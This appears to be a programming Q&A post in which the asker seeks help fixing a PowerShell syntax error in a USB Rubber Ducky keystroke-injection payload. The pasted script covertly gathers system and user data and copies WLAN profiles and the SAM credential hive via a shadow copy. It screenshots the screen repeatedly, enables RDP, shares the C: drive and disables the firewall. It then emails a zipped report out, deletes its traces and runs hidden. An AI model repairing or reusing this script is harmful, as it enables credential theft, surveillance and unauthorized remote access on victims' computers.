title: Powershell "You must provide a value expression following the '-ne' operator" error
body: <p>I'm having a problem with some code in powershell, I keep getting this error:</p>
  
  <pre><code>At line:1 char:7
  + $x++  } while ($x -ne );
  +       ~
  Unexpected token '}' in expression or statement.
  At line:1 char:22
  + $x++  } while ($x -ne );
  +                      ~
  You must provide a value expression following the '-ne' operator.
  At line:1 char:24
  + $x++  } while ($x -ne );
  +                        ~
  Missing statement body in while loop.
  + CategoryInfo          : ParserError: (:) [], ParentContainsErrorRecordException
  + FullyQualifiedErrorId : UnexpectedToken
  </code></pre>
  
  <p>Does anybody know how to fix it?
  The target system is windows 10.
  I think the problem lies in this part "$x++  } while ($x -ne );" but I'm not sure.
  Here's the code (sorry that i pasted so much code, but I wasn't sure if some of the other things were a part of the error):</p>
  
  <pre><code>Windowsbutton+r
  powershell Start-Process notepad -Verb runAs
  Enter
  
  $folderDateTime = (get-date).ToString('d-M-y HHmmss')
  $userDir = (Get-ChildItem env:\userprofile).value + '\Ducky Report ' + $folderDateTime
  $fileSaveDir = New-Item  ($userDir) -ItemType Directory 
  $date = get-date 
  $style = "&lt;style&gt; table td{padding-right: 10px;text-align: left;}#body {padding:50px;font-family: Helvetica; font-size: 12pt; border: 10px solid black;background-color:white;height:100%;overflow:auto;}#left{float:left; background-color:#C0C0C0;width:45%;height:260px;border: 4px solid black;padding:10px;margin:10px;overflow:scroll;}#right{background-color:#C0C0C0;float:right;width:45%;height:260px;border: 4px solid black;padding:10px;margin:10px;overflow:scroll;}#center{background-color:#C0C0C0;width:98%;height:300px;border: 4px solid black;padding:10px;overflow:scroll;margin:10px;} &lt;/style&gt;"
  $Report = ConvertTo-Html -Title 'Recon Report' -Head $style &gt; $fileSaveDir'/ComputerInfo.html' 
  $Report = $Report + "&lt;div id=body&gt;&lt;h1&gt;Duck Tool Kit Report&lt;/h1&gt;&lt;hr size=2&gt;&lt;br&gt;&lt;h3&gt; Generated on: $Date &lt;/h3&gt;&lt;br&gt;" 
  $wlanSaveDir = New-Item $userDir'\Duck\WLAN_PROFILES' -ItemType Directory
  $srcDir = 'C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces'
  Copy-Item $srcDir $wlanSaveDir -Recurse  
  $SysBootTime = Get-WmiObject Win32_OperatingSystem  
  $BootTime = $SysBootTime.ConvertToDateTime($SysBootTime.LastBootUpTime)| ConvertTo-Html datetime  
  $SysSerialNo = (Get-WmiObject -Class Win32_OperatingSystem -ComputerName $env:COMPUTERNAME)  
  $SerialNo = $SysSerialNo.SerialNumber  
  $SysInfo = Get-WmiObject -class Win32_ComputerSystem -namespace root/CIMV2 | Select Manufacturer,Model  
  $SysManufacturer = $SysInfo.Manufacturer  
  $SysModel = $SysInfo.Model
  $OS = (Get-WmiObject Win32_OperatingSystem -computername $env:COMPUTERNAME ).caption 
  $disk = Get-WmiObject Win32_LogicalDisk -Filter "DeviceID='C:'"
  $HD = [math]::truncate($disk.Size / 1GB) 
  $FreeSpace = [math]::truncate($disk.FreeSpace / 1GB) 
  $SysRam = Get-WmiObject -Class Win32_OperatingSystem -computername
  $env:COMPUTERNAME | Select  TotalVisibleMemorySize 
  $Ram = [Math]::Round($SysRam.TotalVisibleMemorySize/1024KB) 
  $SysCpu = Get-WmiObject Win32_Processor | Select Name 
  $Cpu = $SysCpu.Name 
  $HardSerial = Get-WMIObject Win32_BIOS -Computer $env:COMPUTERNAME | select SerialNumber 
  $HardSerialNo = $HardSerial.SerialNumber 
  $SysCdDrive = Get-WmiObject Win32_CDROMDrive |select Name 
  $graphicsCard = gwmi win32_VideoController |select Name 
  $graphics = $graphicsCard.Name 
  $SysCdDrive = Get-WmiObject Win32_CDROMDrive |select -first 1 
  $DriveLetter = $CDDrive.Drive 
  $DriveName = $CDDrive.Caption 
  $Disk = $DriveLetter + '\' + $DriveName 
  $Firewall = New-Object -com HNetCfg.FwMgr  
  $FireProfile = $Firewall.LocalPolicy.CurrentProfile  
  $FireProfile = $FireProfile.FirewallEnabled
  $Report = $Report  + "&lt;div id=left&gt;&lt;h3&gt;Computer Information&lt;/h3&gt;&lt;br&gt;&lt;table&gt;&lt;tr&gt;&lt;td&gt;Operating System&lt;/td&gt;&lt;td&gt;$OS&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;OS Serial Number:&lt;/td&gt;&lt;td&gt;$SerialNo&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Current User:&lt;/td&gt;&lt;td&gt;$env:USERNAME &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;System Uptime:&lt;/td&gt;&lt;td&gt;$BootTime&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;System Manufacturer:&lt;/td&gt;&lt;td&gt;$SysManufacturer&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;System Model:&lt;/td&gt;&lt;td&gt;$SysModel&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Serial Number:&lt;/td&gt;&lt;td&gt;$HardSerialNo&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Firewall is Active:&lt;/td&gt;&lt;td&gt;$FireProfile&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;&lt;div id=right&gt;&lt;h3&gt;Hardware Information&lt;/h3&gt;&lt;table&gt;&lt;tr&gt;&lt;td&gt;Hardrive Size:&lt;/td&gt;&lt;td&gt;$HD GB&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Hardrive Free Space:&lt;/td&gt;&lt;td&gt;$FreeSpace GB&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;System RAM:&lt;/td&gt;&lt;td&gt;$Ram GB&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Processor:&lt;/td&gt;&lt;td&gt;$Cpu&lt;/td&gt;&lt;/tr&gt;&lt;td&gt;CD Drive:&lt;/td&gt;&lt;td&gt;$Disk&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Graphics Card:&lt;/td&gt;&lt;td&gt;$graphics&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;"  
  $UserInfo = Get-WmiObject -class Win32_UserAccount -namespace root/CIMV2 | Where-Object {$_.Name -eq $env:UserName}| Select AccountType,SID,PasswordRequired  
  $UserType = $UserInfo.AccountType 
  $UserSid = $UserInfo.SID
  $UserPass = $UserInfo.PasswordRequired 
  $IsAdmin = ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator') 
  $Report =  $Report + "&lt;div id=left&gt;&lt;h3&gt;User Information&lt;/h3&gt;&lt;br&gt;&lt;table&gt;&lt;tr&gt;&lt;td&gt;Current User Name:&lt;/td&gt;&lt;td&gt;$env:USERNAME&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Account Type:&lt;/td&gt;&lt;td&gt; $UserType&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;User SID:&lt;/td&gt;&lt;td&gt;$UserSid&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Account Domain:&lt;/td&gt;&lt;td&gt;$env:USERDOMAIN&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Password Required:&lt;/td&gt;&lt;td&gt;$UserPass&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Current User is Admin:&lt;/td&gt;&lt;td&gt;$IsAdmin&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;" 
  $Report = $Report + '&lt;/div&gt;' 
  $createShadow = (gwmi -List Win32_ShadowCopy).Create('C:\', 'ClientAccessible')
  $shadow = gwmi Win32_ShadowCopy | ? { $_.ID -eq $createShadow.ShadowID } 
  $addSlash  = $shadow.DeviceObject + '\' 
  cmd /c mklink C:\shadowcopy $addSlash
  Copy-Item 'C:\shadowcopy\Windows\System32\config\SAM' $fileSaveDir
  Remove-Item -recurse -force 'C:\shadowcopy'
  $Report =  $Report + '&lt;div id=center&gt;&lt;h3&gt; Installed Updates&lt;/h3&gt;'  
  $Report =  $Report +  (Get-WmiObject Win32_QuickFixEngineering -ComputerName $env:COMPUTERNAME | sort-object -property installedon -Descending | ConvertTo-Html   Description, HotFixId,Installedon,InstalledBy) 
  $Report = $Report + '&lt;/div&gt;' 
  $Report =  $Report + '&lt;div id=center&gt;&lt;h3&gt; Installed Programs&lt;/h3&gt; ' 
  $Report =  $Report + (Get-WmiObject -class Win32_Product | ConvertTo-html  Name, Version,InstallDate) 
  $Report = $Report + '&lt;/table&gt;&lt;/div&gt;' 
  $u = 0 
  $allUsb = @(get-wmiobject win32_volume | select Name, Label, FreeSpace) 
  $Report =  $Report + '&lt;div id=right&gt;&lt;h3&gt;USB Devices&lt;/h3&gt;&lt;table&gt;' 
  do { 
  $gbUSB = [math]::truncate($allUsb[$u].FreeSpace / 1GB) 
  $Report = $Report + "&lt;tr&gt;&lt;td&gt;Drive Name: &lt;/td&gt;&lt;td&gt; " + $allUsb[$u].Name + $allUsb[$u].Label + "&lt;/td&gt;&lt;td&gt;Free Space: &lt;/td&gt;&lt;td&gt;" + $gbUSB + "GB&lt;/td&gt;&lt;/tr&gt;"
  Write-Output $fullUSB
  $u ++ 
  } while ($u -lt $allUsb.Count) 
  $Report = $Report + '&lt;/table&gt;&lt;/div&gt;' 
  $jpegSaveDir = New-Item $fileSaveDir'\Screenshots' -ItemType Directory
  $x = 0
  do { Start-Sleep -Seconds 60
  $jpegName = (get-date).ToString('HHmmss')
  $File = "$jpegSaveDir\$jpegName.bmp"
  Add-Type -AssemblyName System.Windows.Forms
  Add-type -AssemblyName System.Drawing
  $Screen = [System.Windows.Forms.SystemInformation]::VirtualScreen
  $Width = $Screen.Width
  $Height = $Screen.Height
  $Left = $Screen.Left
  $Top = $Screen.Top
  $bitmap = New-Object System.Drawing.Bitmap $Width, $Height
  $graphic = [System.Drawing.Graphics]::FromImage($bitmap)
  $graphic.CopyFromScreen($Left, $Top, 0, 0, $bitmap.Size)
  $bitmap.Save($File)
  $x++  } while ($x -ne );
  $Report =  $Report + '&lt;div id=center&gt;&lt;h3&gt;Network Information&lt;/h3&gt;' 
  $Report =  $Report + (Get-WmiObject Win32_NetworkAdapterConfiguration -filter 'IPEnabled= True' | Select Description,DNSHostname, @{Name='IP Address ';Expression={$_.IPAddress}}, MACAddress | ConvertTo-Html) 
  $Report = $Report + '&lt;/table&gt;&lt;/div&gt;' 
  $Report =  $Report + '&lt;div id=center&gt;&lt;h3&gt;User Documents (doc,docx,pdf,rar)&lt;/h3&gt;' 
  $Report =  $Report + (Get-ChildItem -Path $userDir -Include *.doc, *.docx, *.pdf, *.zip, *.rar -Recurse |convertto-html Directory, Name, LastAccessTime) 
  $Report = $Report + '&lt;/div&gt;' 
  Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server' -Name fDenyTSConnections -Value 0
  Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -Name UserAuthentication -Value 1
  netsh advfirewall firewall set rule group='remote desktop - remotefx' new enable=Yes 
  netsh advfirewall firewall set rule group='remote desktop' new enable=Yes 
  $Share = [WmiClass]'Win32_Share'
  $Share.Create('C:\', 'netShare', 0)
  netsh advfirewall firewall set rule group=\"File and Printer Sharing\" new enable=Yes 
  netsh advfirewall set allprofiles state off  
  $Report &gt;&gt; $fileSaveDir'/ComputerInfo.html' 
  function copy-ToZip($fileSaveDir){ 
  $srcdir = $fileSaveDir 
  $zipFile = 'C:\Windows\Report.zip'
  if(-not (test-path($zipFile))) { 
  set-content $zipFile ("PK" + [char]5 + [char]6 + ("$([char]0)" * 18)) 
  (dir $zipFile).IsReadOnly = $false} 
  $shellApplication = new-object -com shell.application 
  $zipPackage = $shellApplication.NameSpace($zipFile) 
  $files = Get-ChildItem -Path $srcdir 
  foreach($file in $files) { 
  $zipPackage.CopyHere($file.FullName) 
  while($zipPackage.Items().Item($file.name) -eq $null){ 
  Start-sleep -seconds 1 }}} 
  copy-ToZip($fileSaveDir) 
  try {
  $Sender = 'sender@gmail.com'
  $Recipient = 'Recipient@email.com'
  $pass = ConvertTo-SecureString 'Password' -AsPlainText -Force
  $creds = New-Object System.Management.Automation.PSCredential($sender.Split("@")[0], $pass)
  Send-MailMessage -From $Sender -To $Recipient -Subject "DuckToolkit Report" -Body "Please find attached the DuckToolkit reconnaissance report." -SmtpServer "smtp.gamil.com" -UseSSL -credential $creds -Attachments "C:\Windows\Report.zip"}
  catch {
  break }
  remove-item $fileSaveDir -recurse 
  remove-item 'C:\Windows\Report.zip'
  Remove-Item $MyINvocation.InvocationName `
  
  Ctrl+s
  C:\Windows\config-85023.ps1
  Enter
  Windowsbutton+r
  powershell Start-Process cmd -Verb runAs
  Enter
  powershell Set-ExecutionPolicy 'Unrestricted' -Scope CurrentUser -Confirm:$false
  Enter
  powershell.exe -windowstyle hidden -File C:\Windows\config-85023.ps1
  Enter
  </code></pre>